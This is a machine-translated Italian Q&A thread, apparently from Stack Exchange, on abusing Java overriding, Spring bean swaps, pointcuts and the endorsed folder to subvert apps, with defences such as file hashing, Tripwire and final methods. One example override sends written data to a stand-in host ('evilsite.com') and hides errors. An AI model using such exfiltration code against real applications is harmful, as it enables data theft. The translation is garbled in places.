Come utilizzare l'override del metodo Java per attaccare?

Quando si crea un file .jar, lo si distribuisce su un sistema ed è eseguito, non è più o meno vulnerabile di qualsiasi altra applicazione sviluppata con altre tecnologie.

Gli attacchi descritti in questi articoli sono rilevanti quando l'utente malintenzionato può già inserire codice Java nell'applicazione. Ad esempio, quando l'applicazione carica le classi in fase di runtime con un ClassLoader da una fonte che non è sotto il controllo dell'utente (o dell'utente). Gli articoli non fanno altro che reiterare ciò che ogni sviluppatore di applicazioni dovrebbe già sapere: Non caricare ed eseguire codice non affidabile . Quando non fai nulla del genere, non c'è nulla di cui devi preoccuparti.

Gli articoli per lo più sfatano l'equivoco che potrebbe essere possibile creare un ambiente di esecuzione di plug-in sandbox facendo affidamento sulle funzionalità di visibilità di JAVA. Supponiamo che tu voglia creare un'applicazione Java in cui gli utenti possano scaricare estensioni dal web. Funziona scaricando il file .class e caricandolo in runtime con ClassLoader . Ma tu vuoi limitare ciò che questa estensione può e non può fare. Potresti semplicemente dichiarare qualsiasi dato a cui non vuoi che questa estensione acceda come private ? No, non funziona, perché ci sono trucchi per sovvertire questi modificatori di accesso.

Una volta che qualcuno ha accesso a un file jar è un'operazione relativamente semplice da decompilare, quindi sono molto curioso su quali siano le pratiche di sicurezza che riguardano le applicazioni Java a prova di manomissione.

Per quanto riguarda la domanda a portata di mano. Diciamo che una classe ha un metodo di uguaglianza che non è dichiarato definitivo. Se il metodo equals restituisce true, ti dà accesso a una risorsa critica. È possibile creare una classe con la classe originale come classe genitore e definire un metodo con lo stesso nome e gli argomenti uguali nella classe Parent. Rendi questo metodo sempre vero.

Ora puoi passare la tua classe derivata in qualsiasi funzione che accetta la classe genitore originale come argomento. Quando viene chiamato il metodo equals, restituisce true perché si esegue l'overroding del metodo. Non chiamerà mai i genitori di pari livello perché non hai chiamato super.equals all'interno del tuo hack.

Diversi strumenti (ad esempio Collabnet Subversion) consentono di caricare file jar che implementano interfacce per creare gestori di eventi e altri tipi di personalizzazioni delle funzionalità. Ignorare con cautela metodi critici per aggirare i controlli di sicurezza è probabilmente una vulnerabilità più comune di quanto si conosca. Penso che molti venditori di strumenti si affidino all'accesso amministrativo al caricamento di personalizzazioni per proteggerli.

METODO DI OVERRIDING UTILIZZANDO EREDITÀ

Se stiamo parlando esclusivamente dell'utilizzo dell'ereditarietà per sovrascrivere il metodo su un'applicazione esistente a cui non si ha accesso al codice sorgente, @objlass è un po 'fuori tema.

Questo perché se si crea una nuova classe che ne estende una nuova e si sovrascrive un metodo e lo si inserisce nella cartella delle classi dell'applicazione in esecuzione, non accadrà nulla. Questo sta considerando che non stai facendo cose complesse, lecando la decompilazione e modificando il codice esistente.

Tuttavia, se hai un DI Manager come Spring, puoi modificare la classe iniettata modificando il file XML e così puoi sostituire il tuo bean con quello originale.

pointcut

Anche un altro tipo di attacchi non è un metodo prevalente, aggiungendo i punti di riferimento usando l'aspetto, anche in questo caso l'uso di framework come Spring.

Per la sicurezza dell'applicazione, ho solo sentito dire che alcuni progetti vietano qualsiasi libreria aggiungendo la capacità di aggiungere punti tagliati usando aspetti.

Il fatto che in Java sia più facile inserire il codice non significa molto, si può solo considerare che se qualcuno è in grado di accedere al proprio server delle applicazioni, il server è corrotto.

CARTOLINA ENDOERSED CLASSE OVERRIDING

Un altro modo di hackerare sarebbe usare il meccanismo approvato di Java, è un posto specifico dove tutti i JAR che vengono messi qui hanno la precedenza su tutti gli altri. Questo significa che puoi sovrascrivere anche tipo Java.lang.String. Oppure invece di derivare una classe per sostituirla o aggiungere pointcut, puoi semplicemente ottenere la classe (o codice sorgente o decompile .class) modificarla, compilarla, inserirla in un JAR e inserirla nella cartella approvata.

Si noti che Apache Tomcat per esempio possiede già una cartella "approvata" utilizzata per sovrascrivere qualsiasi libreria di cui ha bisogno internamente per avere la versione corretta delle classi. potresti semplicemente aprire uno di quei JARS e aggiungere la tua classe all'interno.

PROTEGGE CONTRO QUESTI METODI

Come dovrebbe essere rilevato da un amministratore di sistema? Beh, in effetti ho visto una soluzione piuttosto semplice: uno script che periodicamente (cron ...: p) controlla se qualsiasi file sul server (si aspettano registri che sono spostati su / var / log o altro) è cambiato e lo segnala al sysadmin in caso affermativo.

Perché qualunque sia il modo in cui lo stai facendo, se non puoi cambiare il codice sorgente prima che vada sul server, dovrai modificare i file e rilevare che è in effetti piuttosto semplice.

Per andare oltre, puoi usare gli hash di calcolo md5 (e controllare ancora la dimensione del file!) di tutti i file del tuo server e dello script in esecuzione (nel caso qualcuno provasse ad aggiungere una cartella esterna al classpath).

Infine quello che ho detto qui è abbastanza semplice da implementare, probabilmente ci sono modi ancora più intelligenti per farlo, ma non ho le conoscenze necessarie per questo.

EDIT:

Grazie a @ojblass per segnalare che c'è un pacchetto chiamato Tripwire che guarderà i file / directory per te ed eseguirà il comando che vuoi quando qualcosa si è verificato.

I am not able to see the thread model of this kind of attack, i.e., what kind of capability does the attacker need to have?

Credo che tu intendessi "modello di minaccia" qui, se sbaglio, correggerò di conseguenza.

Il modello delle minacce richiede un po 'di riflessione, ma il pericolo è presente.

Nel caso semplice, tutto ciò che devo fare è scrivere un'altra classe con lo stesso pacchetto e nome di classe della classe di destinazione, e quindi assicurarsi che la mia classe maligna venga caricata sul classpath prima del proprio.

Il caso più complicato (e più comune) si verifica quando un'applicazione espone un'API per estendere la funzionalità. Questo esempio sarà ideato, ma servirà per illustrare. Immagina un'applicazione che espone una classe che esegue operazioni sul filesystem.

Supponiamo che abbia un metodo che scrive un file in un percorso:

package com.foo;

public class HostClass {

    public void writeToFile(byte[] data, String path){
        //dostuff
    }
}

Supponiamo che questa applicazione elabori POJO come questo come una linea di fabbrica.

Scriverò la mia classe:

package com.foo;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;

public class ClientClass extends HostClass {

    @Override
    public void writeToFile(byte[] data, String path){
        try {
            InetAddress address = InetAddress.getByName("http://www.evilsite.com");
            Socket s = new Socket(address, 443);
            DataOutputStream out = new DataOutputStream(s.getOutputStream());
            out.write(data);
        } catch (IOException e) {
            //swallow to hide
        }
        //dostuff
    }
}

Quindi ... tutti i dati che vengono scritti da questa API ora verranno inviati anche a un luogo di mia scelta.

Questo probabilmente non è ciò che i progettisti intendevano. Ma, poiché posso scavalcare il metodo, è possibile.

Questo è più di un bug opportunistico rispetto a qualcosa di più generalmente sfruttabile come XSS o buffer overflow. L'applicazione giusta deve esporre l'interfaccia giusta e deve svolgere funzioni abbastanza delicate che oso cooptarle.

Il modello di minaccia è abbastanza generale: analizza la tua applicazione.

Come evitare:

package com.foo;

public class HostClass {

    public final void writeToFile(byte[] data, String path){
        //dostuff
    }
}

Questo può essere evitato assicurandosi che qualsiasi metodo che esegue funzioni sensibili non possa essere sovrascritto. Se segui il principio del privilegio minimo durante la codifica, non dovresti mai vederlo come un vero problema. (non dimenticare la convalida dell'input su path !